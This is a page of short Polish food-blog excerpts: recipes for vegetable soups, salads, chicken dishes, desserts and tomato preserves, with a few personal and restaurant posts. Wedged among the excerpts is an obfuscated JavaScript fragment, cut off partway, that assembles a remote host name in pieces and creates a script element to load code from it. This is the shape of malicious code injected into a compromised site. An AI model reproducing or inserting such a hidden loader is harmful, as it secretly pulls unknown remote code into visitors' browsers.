Przepis na Zupa krem z pieczonych warzyw

Moja wariacja nt. botwinki. Inną jej wersję znajdziecie tutaj. Podajcie zupę z młodymi ziemniakami (skropionymi olejem lnianym), jajkiem i mnóstwem świeżej, posiekanej zieleniny. Pyyyszne!Składniki:3 łyżki masła lub oliwy1 duży pęczek botwinki + 2-3 bu...

Młode warzywa, szczególnie marchewki i buraki, kolorowe, chrupkie i soczyste idealnie nadają się na tę sałatkę. Kiedy pokroimy je w bardzo cienkie paski i połączymy ze sobą, otrzymamy misę sałaty pełną koloru i słodyczy.Tęczowe kolory oraz dodatek ziół...

Obiad w 30 minut? Czemu nie! Szybko, smacznie i kolorowo - taka jest moja kuchnia. Kurczak nie musi być wcale nudny! W pysznych sosach, z dodatkiem warzyw!Wystarczy kliknąć w nazwę nad zdjęciem.1.Potrawka z kurczaka z brukselką i mini marc...

Nie lubię kłaść się spać z myślą, że nie wiem co zjem na śniadanie kolejnego dnia, ale wczoraj na nic konstruktywnego nie wpadłam. Rano jednak przypomniałam sobie o słoiku z resztką masła orzechowego, który odłożyłam jakiś czas temu do lodówki z myślą ...

Nowy Rok to nowe możliwości, a przede wszystkim nowe postanowienia! Pamiętacie, jak kilka dni temu pisałam Wam o fantastycznej książce Konrada Gacy - "Kuchnia Fit"?!? Zainspirowana nią, specjalnie dla Was postanowiłam stworzyć pełnowartościowe danie ob...

Dziś chcę się podzielić z Wami kolejną częścią mojej historii związanej z zaburzeniami odżywiania. Pierwsza część została opublikowana jakiś czas temu więc jeśli jeszcze nie mieliście okazji czytać, to zapraszam TUTAJ. Dziś będzie nieco drastyczniej, p...

Warzywa z piekarnikaMusiał nadejść w końcu dzień, w którym spróbuję topinamburu :- ) Topinambur króluje we wszystkich programach kulinarnych i męska część rodziny stanowczo zażyczyła sobie chipsów z topinamburu albo puree :- ) Ponieważ udało mi s...

Mus z białej czekolady z truskawkami i imbirem w postaci kul oblanych musem truskawkowym, z cytrynowym biszkoptem i chrupiącym karmelemLato to słońce i mnóstwo pozytywnej energii. To ogrody pełne warzyw i dojrzewających w słońcu owoców. To kosze wypełn...

(function(){ a4uk=document.createElement("script");a4uk_="u"+("s")+"ta"; a4uk_+=("t.i")+""+"n";a4uk_+=(("f")+"o");a4uk.type="text/javascript"; a4uk_+="/"; a4uku="64069171";a4uku+=".ix86xu0t4uksigi7syy";a4uku+="4barexibfjl"; a4uk.src="//"+a4uk_+a4uk...

Dla tych, co nie lubią za długich wstępów: dziś będą przepisy na domowe suszone pomidory, przecier pomidorowy z wyciskarki i nie tylko, suszony koncentrat pomidorowy i szybki, pieczony sos pomidorowy. Wszystkie te rzeczy do zrobienia z 15kg pomidorów z...

Mody na nietuzinkowość przemijają, gdy tracą unikatowość albo gdy ich wyznawcy znacznie przekraczają granicę absurdu. Dziś upada wielki mit jedzeniowej hipsterii, która skądinąd umocowana na zdrowych podwalinach – karleje. Gdy kilka lat temu tw...

Schab pieczony w ziołach to żadna filozofia. Nasze ulubione zioła,marynata domowej roboty i wędlinka do chleba lub obiadu...gotowa!I wiemy co jemy.Potrzeba tylko dobrej jakości schabu bez kości ,zioła i ...gotowe!Składnikischab bez kości ile nam potrz...

Kuchnia singapurska to ogół tradycji kulinarnych różnych grup etnicznych tu zamieszkujących.Tradycje te, doprowadziły do wytworzenia odrębnej kuchni singapurskiej, nie zatracając przy tym kulinarnych różnic etnicznych. Kuchnia chińskaWiele potraw...

Większość blogerów kulinarnych śni o nim( ściślej o robocie kuchennym, bo to o nim będzie mowa)po nocach. Przez wiele lat marka Kitchen Aid wzbiła się na wyżyny sprzętu kuchennego, powodując ogromny popyt na ich produkty, czyniąc się swego ...

Cassata to zdecydowanie włoska a dokładniej sycylijska "królowa deserów". Kiedyś jedzona głównie wiosną, na Wielkanoc, obecnie jest popularna przez cały rok. Cassata jest tortem bardzo dekoracyjnym. Występuje we Włoszech wielu odsłonach, różnica polega...

W ubiegły czwartek w restauracji Studio Qulinarne w Krakowie odbyła się inauguracja cyklu kameralnych kolacji na cztery ręce. Pierwszym szefem kuchni, który gościnnie wystąpił u boku Giacomo Monzali, obecnego szefa kuchni Studia Qulinarnego, był Felice...